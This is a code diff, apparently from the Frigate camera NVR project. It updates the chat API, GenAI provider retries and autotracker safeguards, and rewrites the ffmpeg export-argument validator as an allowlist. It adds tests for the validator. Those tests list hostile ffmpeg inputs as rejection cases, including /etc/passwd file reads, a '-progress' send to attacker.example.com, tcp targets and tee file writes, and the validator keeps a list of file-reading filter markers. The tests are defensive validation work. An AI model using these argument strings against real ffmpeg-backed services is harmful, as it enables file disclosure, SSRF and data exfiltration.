+                            # calls live and replay them verbatim next turn.
+                            yield _emit_chain()
                             break
                         else:
+                            # Streaming never appends the final assistant message
+                            # to the conversation, so add it to the chain.
+                            yield _emit_chain(
+                                extra=[
+                                    {
+                                        "role": "assistant",
+                                        "content": msg.get("content"),
+                                    }
+                                ]
+                            )
                             yield (json.dumps({"type": "done"}).encode("utf-8") + b"\n")
                             return
             else:
+                yield _emit_chain()
                 yield json.dumps({"type": "done"}).encode("utf-8") + b"\n"
 
         return StreamingResponse(
@@ -1315,19 +1332,15 @@ async def chat_completion(
                 if body.stream:
                     final_reasoning = response.get("reasoning")
 
+                    chain = list(conversation)
+
                     async def stream_body() -> Any:
-                        if tool_calls:
-                            yield (
-                                json.dumps(
-                                    {
-                                        "type": "tool_calls",
-                                        "tool_calls": [
-                                            tc.model_dump() for tc in tool_calls
-                                        ],
-                                    }
-                                ).encode("utf-8")
-                                + b"\n"
+                        yield (
+                            json.dumps({"type": "messages", "messages": chain}).encode(
+                                "utf-8"
                             )
+                            + b"\n"
+                        )
                         # Emit the full reasoning trace up front when the
                         # underlying client did not stream it
                         if final_reasoning:
@@ -1363,6 +1376,7 @@ async def chat_completion(
                         finish_reason=response.get("finish_reason", "stop"),
                         tool_iterations=tool_iterations,
                         tool_calls=tool_calls,
+                        messages=list(conversation),
                     ).model_dump(),
                 )
 
@@ -1395,6 +1409,7 @@ async def chat_completion(
                 finish_reason="length",
                 tool_iterations=tool_iterations,
                 tool_calls=tool_calls,
+                messages=list(conversation),
             ).model_dump(),
         )
 

frigate/api/defs/request/chat_body.py

@@ -1,6 +1,6 @@
 """Chat API request models."""
 
-from typing import Optional
+from typing import Any, Optional
 
 from pydantic import BaseModel, Field
 
@@ -11,13 +11,29 @@ class ChatMessage(BaseModel):
     role: str = Field(
         description="Message role: 'user', 'assistant', 'system', or 'tool'"
     )
-    content: str = Field(description="Message content")
+    content: Optional[Any] = Field(
+        default=None,
+        description=(
+            "Message content. Usually a string, but may be a multimodal content "
+            "list (e.g. text + image_url) or null for assistant turns that only "
+            "request tool calls."
+        ),
+    )
     tool_call_id: Optional[str] = Field(
         default=None, description="For tool messages, the ID of the tool call"
     )
     name: Optional[str] = Field(
         default=None, description="For tool messages, the tool name"
     )
+    tool_calls: Optional[list[dict[str, Any]]] = Field(
+        default=None,
+        description=(
+            "For assistant messages replayed from prior turns, the OpenAI-format "
+            "tool calls the model previously requested. Replaying these verbatim "
+            "keeps the conversation prefix byte-for-byte identical so the model "
+            "server's prompt cache hits on follow-up turns."
+        ),
+    )
 
 
 class ChatCompletionRequest(BaseModel):

frigate/api/defs/response/chat_response.py

@@ -56,3 +56,12 @@ class ChatCompletionResponse(BaseModel):
         default_factory=list,
         description="List of tool calls that were executed during this completion",
     )
+    messages: list[dict[str, Any]] = Field(
+        default_factory=list,
+        description=(
+            "The full conversation chain, including the system message. Persist "
+            "and replay this verbatim on the next request so the prompt prefix "
+            "stays byte-identical and the model server's prompt cache keeps "
+            "hitting."
+        ),
+    )

frigate/config/camera/audio.py

@@ -9,7 +9,7 @@ from ..base import FrigateBaseModel
 __all__ = ["AudioConfig", "AudioFilterConfig"]
 
 
-DEFAULT_LISTEN_AUDIO = ["bark", "fire_alarm", "scream", "speech", "yell"]
+DEFAULT_LISTEN_AUDIO = ["bark", "fire_alarm", "speech", "yell"]
 
 
 class AudioFilterConfig(FrigateBaseModel):
@@ -41,7 +41,7 @@ class AudioConfig(FrigateBaseModel):
     listen: list[str] = Field(
         default=DEFAULT_LISTEN_AUDIO,
         title="Listen types",
-        description="List of audio event types to detect (for example: bark, fire_alarm, scream, speech, yell).",
+        description="List of audio event types to detect (for example: bark, fire_alarm, speech, yell).",
     )
     filters: Optional[dict[str, AudioFilterConfig]] = Field(
         None,

frigate/config/camera/ffmpeg.py

@@ -49,7 +49,7 @@ class FfmpegConfig(FrigateBaseModel):
     path: str = Field(
         default="default",
         title="FFmpeg path",
-        description='Path to the FFmpeg binary to use or a version alias ("5.0" or "8.0").',
+        description='Path to the FFmpeg binary to use or a version alias ("7.0" or "8.0").',
     )
     global_args: Union[str, list[str]] = Field(
         default=FFMPEG_GLOBAL_ARGS_DEFAULT,

frigate/config/camera/updater.py

@@ -73,7 +73,12 @@ class CameraConfigUpdateSubscriber:
 
         base_topic = "config/cameras"
 
-        if len(self.camera_configs) == 1:
+        # global subscribers must hear every camera; only narrow per-camera workers
+        is_global_subscriber = (
+            CameraConfigUpdateEnum.add in self.topics
+            or CameraConfigUpdateEnum.remove in self.topics
+        )
+        if not is_global_subscriber and len(self.camera_configs) == 1:
             base_topic += f"/{list(self.camera_configs.keys())[0]}"
 
         self.subscriber = ConfigSubscriber(

frigate/genai/__init__.py

@@ -5,6 +5,7 @@ import json
 import logging
 import os
 import re
+import time
 from typing import Any, AsyncGenerator, Callable, Optional
 
 import numpy as np
@@ -50,6 +51,10 @@ def register_genai_provider(key: GenAIProviderEnum) -> Callable:
 class GenAIClient:
     """Generative AI client for Frigate."""
 
+    # Minimum seconds between re-initialization attempts when the provider was
+    # offline at startup
+    REINIT_INTERVAL = 60.0
+
     def __init__(
         self,
         genai_config: GenAIConfig,
@@ -60,6 +65,34 @@ class GenAIClient:
         self.timeout = timeout
         self.validate_model = validate_model
         self.provider = self._init_provider()
+        self._last_init_attempt = time.monotonic()
+
+    def ensure_provider(self) -> bool:
+        """Ensure a provider is available, retrying initialization if needed.
+
+        Providers can fail to initialize at startup when their backing service
+        isn't online yet (common when both are started together). This retries
+        ``_init_provider`` lazily — throttled to ``REINIT_INTERVAL`` — so the
+        client recovers on its own once the service is reachable, without a
+        config reload.
+
+        Returns True if a provider is available.
+        """
+        if self.provider is not None:
+            return True
+
+        now = time.monotonic()
+        if now - self._last_init_attempt < self.REINIT_INTERVAL:
+            return False
+
+        self._last_init_attempt = now
+        self.provider = self._init_provider()
+        if self.provider is not None:
+            logger.info(
+                "GenAI provider %s is now available",
+                self.genai_config.provider,
+            )
+        return self.provider is not None
 
     def generate_review_description(
         self,

frigate/genai/manager.py

@@ -62,7 +62,9 @@ class GenAIClientManager:
     def _get_client(self, name: str) -> "Optional[GenAIClient]":
         """Return the client for *name*, creating it on first access."""
         if name in self._clients:
-            return self._clients[name]
+            client = self._clients[name]
+            client.ensure_provider()
+            return client
 
         from frigate.genai import PROVIDERS
 
@@ -78,7 +80,7 @@ class GenAIClientManager:
             return None
 
         try:
-            client: "GenAIClient" = provider_cls(genai_cfg)
+            client = provider_cls(genai_cfg)
         except Exception as e:
             logger.exception(
                 "Failed to create GenAI client for provider %s: %s",

frigate/ptz/autotrack.py

@@ -48,6 +48,22 @@ def ptz_moving_at_frame_time(frame_time, ptz_start_time, ptz_stop_time):
     )
 
 
+def transform_is_finite(coord_transformations) -> bool:
+    """Return True if a norfair coordinate transform contains only finite values.
+
+    A near-singular homography (common when the motion estimator can't find
+    enough stable features during zoom on a low-texture scene) can produce
+    inf/nan matrix entries. norfair accumulates the homography across frames, so
+    a single bad transform poisons every subsequent one and propagates nan into
+    the tracker's distance function, crashing the camera process.
+    """
+    for attr in ("homography_matrix", "inverse_homography_matrix", "movement_vector"):
+        value = getattr(coord_transformations, attr, None)
+        if value is not None and not np.all(np.isfinite(value)):
+            return False
+    return True
+
+
 class PtzMotionEstimator:
     def __init__(self, config: CameraConfig, ptz_metrics: PTZMetrics) -> None:
         self.frame_manager = SharedMemoryFrameManager()
@@ -135,6 +151,19 @@ class PtzMotionEstimator:
                 )
                 self.coord_transformations = None
 
+            # A degenerate homography can yield non-finite transform values that
+            # norfair would accumulate and feed to the tracker as nan estimates.
+            # Drop the bad transform and request a reset so the estimator rebuilds
+            # a fresh reference frame instead of poisoning every following frame.
+            if self.coord_transformations is not None and not transform_is_finite(
+                self.coord_transformations
+            ):
+                logger.warning(
+                    f"Autotracker: motion estimator produced a non-finite transform for {camera} at frame time {frame_time}, resetting"
+                )
+                self.coord_transformations = None
+                self.ptz_metrics.reset.set()
+
             try:
                 logger.debug(
                     f"{camera}: Motion estimator transformation: {self.coord_transformations.rel_to_abs([[0, 0]])}"

frigate/record/export.py

@@ -42,33 +42,118 @@ TIMELAPSE_DATA_INPUT_ARGS = "-an -skip_frame nokey"
 # Captures the floating-point factor so we can scale expected duration.
 SETPTS_FACTOR_RE = re.compile(r"setpts=([0-9]*\.?[0-9]+)\*PTS")
 
-# ffmpeg flags that can read from or write to arbitrary files
-BLOCKED_FFMPEG_ARGS = frozenset(
+# Allowlisted flags that take no value.
+_VALUELESS_FLAGS = frozenset({"-an", "-sn", "-dn"})
+
+# Allowlisted filter flags. Their value is validated as a filtergraph and may
+# only reference filters in _SAFE_FILTERS.
+_FILTER_FLAGS = frozenset({"-vf", "-af", "-filter"})
+
+# Allowlisted flags that take exactly one value (encoder / muxer-safe options).
+_VALUE_FLAGS = frozenset(
     {
-        "-i",
-        "-filter_script",
-        "-filter_complex",
-        "-lavfi",
-        "-vf",
-        "-af",
-        "-filter",
-        "-vstats_file",
-        "-passlogfile",
-        "-sdp_file",
-        "-dump_attachment",
-        "-attach",
+        "-c",
+        "-codec",
+        "-b",
+        "-crf",
+        "-qp",
+        "-q",
+        "-qscale",
+        "-preset",
+        "-tune",
+        "-profile",
+        "-level",
+        "-pix_fmt",
+        "-r",
+        "-g",
+        "-keyint_min",
+        "-sc_threshold",
+        "-bf",
+        "-refs",
+        "-qmin",
+        "-qmax",
+        "-maxrate",
+        "-minrate",
+        "-bufsize",
+        "-movflags",
+        "-threads",
+        "-aspect",
+        "-fps_mode",
+        "-vsync",
+        "-skip_frame",
     }
 )
 
+_ALLOWED_FLAGS = _VALUELESS_FLAGS | _FILTER_FLAGS | _VALUE_FLAGS
+
+# Filters that cannot read files, load plugins, or open network sources.
+_SAFE_FILTERS = frozenset(
+    {
+        "setpts",
+        "fps",
+        "scale",
+        "format",
+        "transpose",
+        "hflip",
+        "vflip",
+        "crop",
+        "pad",
+        "setsar",
+        "setdar",
+    }
+)
+
+# Conservative shape for a non-filter flag value. Excludes "/" (paths /
+# filtergraph division), whitespace, brackets, and a leading "-" so a value
+# can never be a path or swallow a following flag. ":" is permitted for values
+# like "16:9".
+_SAFE_VALUE_RE = re.compile(r"^[A-Za-z0-9_.:+][A-Za-z0-9_.:+-]*$")
+
+# Substrings inside a filtergraph that indicate a file-reading filter option.
+# "movie=" also matches "amovie=" as a substring.
+_BLOCKED_FILTER_VALUE_MARKERS = ("movie=", "textfile=", "filename=", "fontfile=")
+
+
+def _base_flag(token: str) -> str:
+    """Return a flag's base name, lowercased and without its stream specifier.
+
+    e.g. "-c:v" -> "-c", "-filter:a:0" -> "-filter".
+    """
+    return token.lower().split(":", 1)[0]
+
+
+def _validate_filtergraph(value: str) -> tuple[bool, str]:
+    """Validate a filtergraph value, allowing only filters in _SAFE_FILTERS."""
+    # None of the safe filters need any of these
+    if any(token in value for token in ("://", "..", "[", "]")):
+        return False, "Invalid filter graph in custom ffmpeg arguments"
+
+    lowered = value.lower()
+    if any(marker in lowered for marker in _BLOCKED_FILTER_VALUE_MARKERS):
+        return False, "File-reading filters are not allowed in custom ffmpeg arguments"
+
+    # Filters are separated by "," within a chain and ";" between chains. Safe
+    # filters never use unescaped "," or ";" in their arguments, so splitting on
+    # them to recover filter names cannot hide a disallowed filter.
+    for spec in re.split(r"[;,]", value):
+        spec = spec.strip()
+        if not spec:
+            continue
+
+        name = spec.split("=", 1)[0].strip().lower()
+        if name not in _SAFE_FILTERS:
+            return False, f"Filter not allowed in custom ffmpeg arguments: {name}"
+
+    return True, ""
+
 
 def validate_ffmpeg_args(args: str) -> tuple[bool, str]:
-    """Validate that user-provided ffmpeg args don't allow input/output injection.
+    """Validate user-provided custom export ffmpeg args with an allowlist.
 
-    Blocks:
-    - The -i flag and other flags that read/write arbitrary files
-    - Filter flags (can read files via movie=/amovie= source filters)
-    - Absolute/relative file paths (potential extra outputs)
-    - URLs and ffmpeg protocol references (data exfiltration)
+    Every token must be an allowlisted flag or the value of one; filter values
+    may only reference safe filters; and no token may become a bare input or
+    output URL. This structurally prevents arbitrary file read/write, network
+    exfiltration/SSRF, and resource-exhaustion via the export endpoint.
 
     Admin users skip this validation entirely since they are trusted.
     """
@@ -76,26 +161,36 @@ def validate_ffmpeg_args(args: str) -> tuple[bool, str]:
         return True, ""
 
     tokens = args.split()
-    for token in tokens:
-        # Block flags that could inject inputs or write to arbitrary files
-        if token.lower() in BLOCKED_FFMPEG_ARGS:
+    i = 0
+    while i < len(tokens):
+        token = tokens[i]
+
+        # A bare (non-flag) token here would be parsed by ffmpeg as an input or
+        # output URL. Only the server sets inputs/outputs, never the user.
+        if not token.startswith("-"):
+            return False, f"Unexpected argument in custom ffmpeg arguments: {token}"
+
+        base = _base_flag(token)
+        if base not in _ALLOWED_FLAGS:
             return False, f"Forbidden ffmpeg argument: {token}"
 
-        # Block tokens that look like file paths (potential output injection)
-        if (
-            token.startswith("/")
-            or token.startswith("./")
-            or token.startswith("../")
-            or token.startswith("~")
-        ):
-            return False, "File paths are not allowed in custom ffmpeg arguments"
+        if base in _VALUELESS_FLAGS:
+            i += 1
+            continue
 
-        # Block URLs and ffmpeg protocol references (e.g. http://, tcp://, pipe:, file:)
-        if "://" in token or token.startswith("pipe:") or token.startswith("file:"):
-            return (
-                False,
-                "Protocol references are not allowed in custom ffmpeg arguments",
-            )
+        # Remaining flags consume exactly one value.
+        if i + 1 >= len(tokens):
+            return False, f"Missing value for ffmpeg argument: {token}"
+
+        value = tokens[i + 1]
+        if base in _FILTER_FLAGS:
+            valid, message = _validate_filtergraph(value)
+            if not valid:
+                return False, message
+        elif not _SAFE_VALUE_RE.match(value):
+            return False, f"Invalid value for {token}: {value}"
+
+        i += 2
 
     return True, ""
 

frigate/test/http_api/test_http_keyframe_analysis.py

@@ -0,0 +1,58 @@
+from unittest.mock import AsyncMock, patch
+
+from frigate.models import Event, Recordings, ReviewSegment
+from frigate.test.http_api.base_http_test import AuthTestClient, BaseTestHttp
+
+
+class TestHttpKeyframeAnalysis(BaseTestHttp):
+    def setUp(self):
+        super().setUp([Event, Recordings, ReviewSegment])
+
+    def test_invalid_camera_returns_404(self):
+        app = super().create_app()
+        with AuthTestClient(app) as client:
+            response = client.get("/keyframe_analysis?camera=does_not_exist")
+            assert response.status_code == 404
+
+    def test_record_disabled_returns_neutral(self):
+        # default minimal_config has recording disabled
+        app = super().create_app()
+        with AuthTestClient(app) as client:
+            response = client.get("/keyframe_analysis?camera=front_door")
+            assert response.status_code == 200
+            assert response.json()["severity"] == "record_disabled"
+
+    def test_probes_record_input_and_returns_severity(self):
+        self.minimal_config["cameras"]["front_door"]["ffmpeg"]["inputs"] = [
+            {
+                "path": "rtsp://10.0.0.1:554/record",
+                "roles": ["detect", "record"],
+            }
+        ]
+        self.minimal_config["cameras"]["front_door"]["record"] = {"enabled": True}
+        app = super().create_app()
+
+        canned = {
+            "severity": "ok",
+            "keyframe_count": 5,
+            "max_gap": 1.0,
+            "mean_gap": 1.0,
+            "min_gap": 1.0,
+            "segment_time": 10,
+            "duration_observed": 4.0,
+            "thresholds": {"warning": 4.0, "error": 10},
+        }
+
+        with patch(
+            "frigate.api.camera.analyze_record_keyframes",
+            AsyncMock(return_value=canned),
+        ) as mock_probe:
+            with AuthTestClient(app) as client:
+                response = client.get("/keyframe_analysis?camera=front_door")
+
+        assert response.status_code == 200
+        assert response.json()["severity"] == "ok"
+        # index matches the input carrying the record role ("Stream 1")
+        assert response.json()["stream_index"] == 0
+        # the record-role input path was probed
+        assert mock_probe.await_args.args[1] == "rtsp://10.0.0.1:554/record"

frigate/test/test_export.py

@@ -0,0 +1,132 @@
+import unittest
+
+from frigate.record.export import validate_ffmpeg_args
+
+
+class TestValidateFfmpegArgs(unittest.TestCase):
+    """Tests for the non-admin custom export ffmpeg arg validator.
+
+    The validator uses a structural allowlist: every token must be an
+    allowlisted flag or the value of one, filter values are restricted to a
+    safe set of filters, and no token may become a bare input/output URL.
+    """
+
+    def assertRejected(self, args: str) -> None:
+        valid, message = validate_ffmpeg_args(args)
+        self.assertFalse(valid, f"expected {args!r} to be rejected")
+        self.assertNotEqual(message, "")
+
+    def assertAllowed(self, args: str) -> None:
+        valid, message = validate_ffmpeg_args(args)
+        self.assertTrue(valid, f"expected {args!r} to be allowed, got: {message}")
+        self.assertEqual(message, "")
+
+    # --- legitimate use cases must keep working ---------------------------
+
+    def test_timelapse_setpts_allowed(self):
+        # The whole reason -vf cannot simply be blocked: timelapse exports.
+        self.assertAllowed("-vf setpts=PTS/60 -r 25")
+        self.assertAllowed("-vf setpts=0.04*PTS -r 30")  # server default
+        self.assertAllowed("-filter:v setpts=PTS/60 -r 25")
+
+    def test_default_input_args_allowed(self):
+        self.assertAllowed("")
+        self.assertAllowed("-an -skip_frame nokey")
+
+    def test_encoding_args_allowed(self):
+        self.assertAllowed("-c:v libx264 -crf 23 -preset fast")
+        self.assertAllowed("-c:v copy -c:a copy")
+        self.assertAllowed("-c:v libx264 -b:v 2M -maxrate 2M -bufsize 4M")
+        self.assertAllowed("-movflags +faststart")
+        self.assertAllowed("-pix_fmt yuv420p -r 30 -g 30")
+
+    def test_safe_filters_allowed(self):
+        self.assertAllowed("-vf scale=640:480")
+        self.assertAllowed("-vf scale=640:480,setpts=0.5*PTS")
+        self.assertAllowed("-vf format=yuv420p")
+        self.assertAllowed("-vf transpose=1")
+        self.assertAllowed("-vf hflip")
+        self.assertAllowed("-vf fps=15")
+        self.assertAllowed("-vf setsar=1 -an")
+        self.assertAllowed("-vf setdar=16/9")
+
+    # --- the reported advisory and file-read class ------------------------
+
+    def test_reported_advisory_rejected(self):
+        self.assertRejected(
+            "-filter:v drawtext=textfile=/etc/passwd:fontcolor=white:fontsize=20"
+        )
+
+    def test_file_reading_filters_rejected(self):
+        self.assertRejected("-vf movie=/etc/passwd")
+        self.assertRejected("-vf drawtext=textfile=/etc/passwd")
+        self.assertRejected("-vf subtitles=/etc/passwd")
+        # marker embedded as an option of an otherwise-allowed filter name
+        self.assertRejected("-vf scale=movie=/etc/passwd")
+
+    def test_filtergraph_brackets_rejected(self):
+        # link labels aren't needed for safe filters; rejecting "[" / "]" keeps
+        # filtergraph validation linear (no ReDoS on attacker input)
+        self.assertRejected("-vf [in]scale=640:480[out]")
+        self.assertRejected("-vf " + "[" * 5000)
+
+    def test_preset_file_read_rejected(self):
+        # cwd-anchored traversal slipped past the old startswith() path check
+        self.assertRejected("-fpre frigate/../../../etc/passwd")
+        self.assertRejected("-fpre evil.preset")
+        self.assertRejected("-vpre x")
+        self.assertRejected("-apre x")
+        self.assertRejected("-pre x")
+
+    def test_slash_option_file_read_rejected(self):
+        # ffmpeg "-/option file" reads the option value from a file
+        self.assertRejected("-/filter:v graph.txt")
+        self.assertRejected("-/filter_complex graph.txt")
+
+    # --- network / SSRF class ---------------------------------------------
+
+    def test_schemeless_protocol_rejected(self):
+        self.assertRejected("-f mpegts tcp:10.0.0.5:4444")
+        self.assertRejected("tcp:10.0.0.5:4444")
+        self.assertRejected("udp:10.0.0.5:4444")
+        self.assertRejected("-progress http:attacker.example.com:80/p")
+
+    # --- file-write class --------------------------------------------------
+
+    def test_tee_write_rejected(self):
+        self.assertRejected("-c:v libx264 -map 0 -f tee [f=mpegts]/tmp/owned.ts")
+        self.assertRejected("-f tee [f=mpegts]/etc/frigate/x.ts")
+        self.assertRejected("tee:/tmp/x")
+
+    def test_bare_output_token_rejected(self):
+        self.assertRejected("evil.mp4")
+        self.assertRejected("-c copy evil.mp4")
+        self.assertRejected("x/../escaped.mkv")
+
+    def test_file_producing_muxers_rejected(self):
+        self.assertRejected("-f hls -hls_segment_filename pwn%03d.ts out.m3u8")
+        self.assertRejected("-f md5 victim.txt")
+        self.assertRejected("-f segment seg%03d.ts")
+
+    def test_write_flags_rejected(self):
+        self.assertRejected("-progress evil.log")
+        self.assertRejected("-stats_enc_pre evil.csv")
+        self.assertRejected("-report")
+
+    # --- resource exhaustion / misc ---------------------------------------
+
+    def test_dos_input_flags_rejected(self):
+        self.assertRejected("-stream_loop -1")
+        self.assertRejected("-readrate 0.001")
+
+    def test_disallowed_flags_rejected(self):
+        self.assertRejected("-map 0")
+        self.assertRejected("-i /etc/passwd")
+        self.assertRejected("-attach evil.bin")
+        self.assertRejected("-dump_attachment evil.bin")
+        self.assertRejected("/etc/passwd")
+        self.assertRejected("-metadata comment=x")
+
+
+if __name__ == "__main__":
+    unittest.main()

frigate/test/test_keyframe_analysis.py

@@ -0,0 +1,111 @@
+"""Tests for keyframe-spacing analysis used to detect smart/+ codecs."""
+
+import asyncio
+import unittest
+from unittest.mock import AsyncMock, MagicMock, patch
+
+from frigate.util.services import (
+    analyze_record_keyframes,
+    classify_keyframe_gaps,
+    parse_keyframe_packets,
+)
+
+
+class TestClassifyKeyframeGaps(unittest.TestCase):
+    def test_ok_when_gaps_small(self):
+        # keyframes every ~1s
+        pts = [0.0, 1.0, 2.0, 3.0, 4.0]
+        result = classify_keyframe_gaps(pts, segment_time=10)
+        self.assertEqual(result["severity"], "ok")
+        self.assertEqual(result["max_gap"], 1.0)
+        self.assertEqual(result["keyframe_count"], 5)
+        self.assertEqual(result["thresholds"], {"warning": 4.0, "error": 10})
+
+    def test_warning_when_gap_exceeds_four_seconds(self):
+        pts = [0.0, 1.0, 6.5]  # 5.5s gap
+        result = classify_keyframe_gaps(pts, segment_time=10)
+        self.assertEqual(result["severity"], "warning")
+        self.assertEqual(result["max_gap"], 5.5)
+
+    def test_error_when_gap_exceeds_segment_time(self):
+        pts = [0.0, 12.0]  # 12s gap > 10s segment
+        result = classify_keyframe_gaps(pts, segment_time=10)
+        self.assertEqual(result["severity"], "error")
+
+    def test_error_threshold_tracks_segment_time(self):
+        pts = [0.0, 6.0]  # 6s gap, segment_time=5 -> error
+        result = classify_keyframe_gaps(pts, segment_time=5)
+        self.assertEqual(result["severity"], "error")
+
+    def test_unknown_with_single_keyframe(self):
+        result = classify_keyframe_gaps([1.0], segment_time=10)
+        self.assertEqual(result["severity"], "unknown")
+        self.assertIsNone(result["max_gap"])
+        self.assertEqual(result["keyframe_count"], 1)
+
+    def test_unknown_with_no_keyframes(self):
+        result = classify_keyframe_gaps([], segment_time=10)
+        self.assertEqual(result["severity"], "unknown")
+        self.assertEqual(result["keyframe_count"], 0)
+
+
+class TestParseKeyframePackets(unittest.TestCase):
+    def test_extracts_keyframe_pts_and_max(self):
+        output = "0.000000,K__\n0.033333,___\n1.000000,K__\n1.500000,___\n"
+        keyframe_pts, max_pts = parse_keyframe_packets(output)
+        self.assertEqual(keyframe_pts, [0.0, 1.0])
+        self.assertEqual(max_pts, 1.5)
+
+    def test_skips_unparseable_and_empty_lines(self):
+        output = "N/A,K__\n\n2.0,K__\nbad line\n"
+        keyframe_pts, max_pts = parse_keyframe_packets(output)
+        self.assertEqual(keyframe_pts, [2.0])
+        self.assertEqual(max_pts, 2.0)
+
+    def test_empty_output(self):
+        keyframe_pts, max_pts = parse_keyframe_packets("")
+        self.assertEqual(keyframe_pts, [])
+        self.assertIsNone(max_pts)
+
+
+class TestAnalyzeRecordKeyframes(unittest.IsolatedAsyncioTestCase):
+    async def test_merges_duration_and_classification(self):
+        csv = b"0.0,K__\n1.0,___\n6.0,K__\n7.0,___\n"
+        proc = MagicMock()
+        proc.communicate = AsyncMock(return_value=(csv, b""))
+        ffmpeg = MagicMock()
+        ffmpeg.ffprobe_path = "/usr/bin/ffprobe"
+
+        with patch(
+            "frigate.util.services.asyncio.create_subprocess_exec",
+            AsyncMock(return_value=proc),
+        ):
+            result = await analyze_record_keyframes(
+                ffmpeg, "rtsp://cam/stream", segment_time=10
+            )
+
+        self.assertEqual(result["severity"], "warning")  # 6s gap > 4s
+        self.assertEqual(result["max_gap"], 6.0)
+        self.assertEqual(result["duration_observed"], 7.0)
+
+    async def test_timeout_returns_unknown(self):
+        proc = MagicMock()
+        proc.communicate = AsyncMock(side_effect=asyncio.TimeoutError())
+        proc.kill = MagicMock()
+        ffmpeg = MagicMock()
+        ffmpeg.ffprobe_path = "/usr/bin/ffprobe"
+
+        with patch(
+            "frigate.util.services.asyncio.create_subprocess_exec",
+            AsyncMock(return_value=proc),
+        ):
+            result = await analyze_record_keyframes(
+                ffmpeg, "rtsp://cam/stream", segment_time=10
+            )
+
+        self.assertEqual(result["severity"], "unknown")
+        proc.kill.assert_called_once()
+
+
+if __name__ == "__main__":
+    unittest.main()

frigate/test/test_norfair_distance.py

@@ -0,0 +1,91 @@
+import math
+import unittest
+
+import numpy as np
+from norfair.camera_motion import (
+    HomographyTransformation,
+    TranslationTransformation,
+)
+
+from frigate.ptz.autotrack import transform_is_finite
+from frigate.track.norfair_tracker import distance
+
+
+class TestNorfairDistance(unittest.TestCase):
+    """Regression tests for the tracker distance guard.
+
+    norfair raises a hard ValueError on any nan distance, which kills the camera
+    process. During autotracking, an ill-conditioned homography can hand the
+    tracker a non-finite or degenerate estimate box, so distance() must never
+    return nan for any input.
+    """
+
+    def setUp(self) -> None:
+        # boxes are [[x1, y1], [x2, y2]]
+        self.detection = np.array([[805.0, 402.0], [864.0, 521.0]])
+        self.estimate = np.array([[800.0, 400.0], [860.0, 520.0]])
+
+    def test_finite_boxes_give_finite_distance(self) -> None:
+        d = distance(self.detection, self.estimate)
+        self.assertTrue(math.isfinite(d))
+
+    def test_inf_estimate_corner_does_not_return_nan(self) -> None:
+        estimate = np.array([[np.inf, 400.0], [860.0, 520.0]])
+        d = distance(self.detection, estimate)
+        self.assertFalse(math.isnan(d))
+        self.assertEqual(d, float("inf"))
+
+    def test_nan_estimate_corner_does_not_return_nan(self) -> None:
+        # the actual autotracking crash: a positive-only guard would miss this
+        # because nan <= 0 is False
+        estimate = np.array([[np.nan, 400.0], [860.0, 520.0]])
+        d = distance(self.detection, estimate)
+        self.assertFalse(math.isnan(d))
+        self.assertEqual(d, float("inf"))
+
+    def test_zero_area_estimate_does_not_return_nan(self) -> None:
+        estimate = np.array([[900.0, 500.0], [900.0, 500.0]])
+        d = distance(self.detection, estimate)
+        self.assertFalse(math.isnan(d))
+        self.assertEqual(d, float("inf"))
+
+    def test_zero_area_detection_does_not_return_nan(self) -> None:
+        detection = np.array([[805.0, 402.0], [805.0, 521.0]])
+        d = distance(detection, self.estimate)
+        self.assertFalse(math.isnan(d))
+        self.assertEqual(d, float("inf"))
+
+    def test_inverted_estimate_corners_do_not_return_nan(self) -> None:
+        # Kalman estimates can occasionally cross corners (x2 < x1)
+        estimate = np.array([[860.0, 520.0], [800.0, 400.0]])
+        d = distance(self.detection, estimate)
+        self.assertFalse(math.isnan(d))
+        self.assertEqual(d, float("inf"))
+
+
+class TestTransformIsFinite(unittest.TestCase):
+    def test_finite_homography_is_finite(self) -> None:
+        matrix = np.array([[1.0, 0.0, 5.0], [0.0, 1.0, 3.0], [0.0, 0.0, 1.0]])
+        self.assertTrue(transform_is_finite(HomographyTransformation(matrix)))
+
+    def test_finite_translation_is_finite(self) -> None:
+        self.assertTrue(
+            transform_is_finite(TranslationTransformation(np.array([12.0, -4.0])))
+        )
+
+    def test_non_finite_homography_is_not_finite(self) -> None:
+        transform = HomographyTransformation(np.eye(3))
+        # simulate accumulation overflowing to a non-finite matrix
+        transform.homography_matrix = np.array(
+            [[1.0, 0.0, np.inf], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]]
+        )
+        self.assertFalse(transform_is_finite(transform))
+
+    def test_nan_translation_is_not_finite(self) -> None:
+        self.assertFalse(
+            transform_is_finite(TranslationTransformation(np.array([np.nan, 0.0])))
+        )
+
+
+if __name__ == "__main__":
+    unittest.main()

frigate/track/norfair_tracker.py

@@ -45,6 +45,17 @@ def distance(detection: np.ndarray, estimate: np.ndarray) -> float:
     estimate_dim = np.diff(estimate, axis=0).flatten()
     detection_dim = np.diff(detection, axis=0).flatten()
 
+    # Guard against degenerate or non-finite boxes
+    if (
+        not np.all(np.isfinite(estimate_dim))
+        or not np.all(np.isfinite(detection_dim))
+        or estimate_dim[0] <= 0
+        or estimate_dim[1] <= 0
+        or detection_dim[0] <= 0
+        or detection_dim[1] <= 0
+    ):
+        return float("inf")
+
     # get bottom center positions
     detection_position = np.array(
         [np.average(detection[:, 0]), np.max(detection[:, 1])]

frigate/util/builtin.py

@@ -14,13 +14,16 @@ import urllib.parse
 from collections.abc import Mapping
 from multiprocessing.managers import ValueProxy
 from pathlib import Path
-from typing import Any, Dict, Optional, Tuple, Union
+from typing import TYPE_CHECKING, Any, Dict, Optional, Tuple, Union
 
 import numpy as np
 from ruamel.yaml import YAML
 
 from frigate.const import REGEX_HTTP_CAMERA_USER_PASS, REGEX_RTSP_CAMERA_USER_PASS
 
+if TYPE_CHECKING:
+    from frigate.config import CameraConfig
+
 logger = logging.getLogger(__name__)
 
 
@@ -132,6 +135,24 @@ def get_ffmpeg_arg_list(arg: Any) -> list:
     return arg if isinstance(arg, list) else shlex.split(arg)
 
 
+# all built-in record presets use this segment_time
+DEFAULT_RECORD_SEGMENT_TIME = 10
+
+
+def get_record_segment_time(config: "CameraConfig") -> int:
+    """Extract -segment_time from the camera's record output args."""
+    record_args = get_ffmpeg_arg_list(config.ffmpeg.output_args.record)
+
+    if record_args and record_args[0].startswith("preset"):
+        return DEFAULT_RECORD_SEGMENT_TIME
+
+    try:
+        idx = record_args.index("-segment_time")
+        return int(record_args[idx + 1])
+    except (ValueError, IndexError):
+        return DEFAULT_RECORD_SEGMENT_TIME
+
+
 def load_labels(
     path: Optional[str], encoding="utf-8", prefill=91, indexed: bool | None = None
 ):

frigate/util/services.py

@@ -879,6 +879,131 @@ def ffprobe_stream(ffmpeg, path: str, detailed: bool = False) -> sp.CompletedPro
     return result
 
 
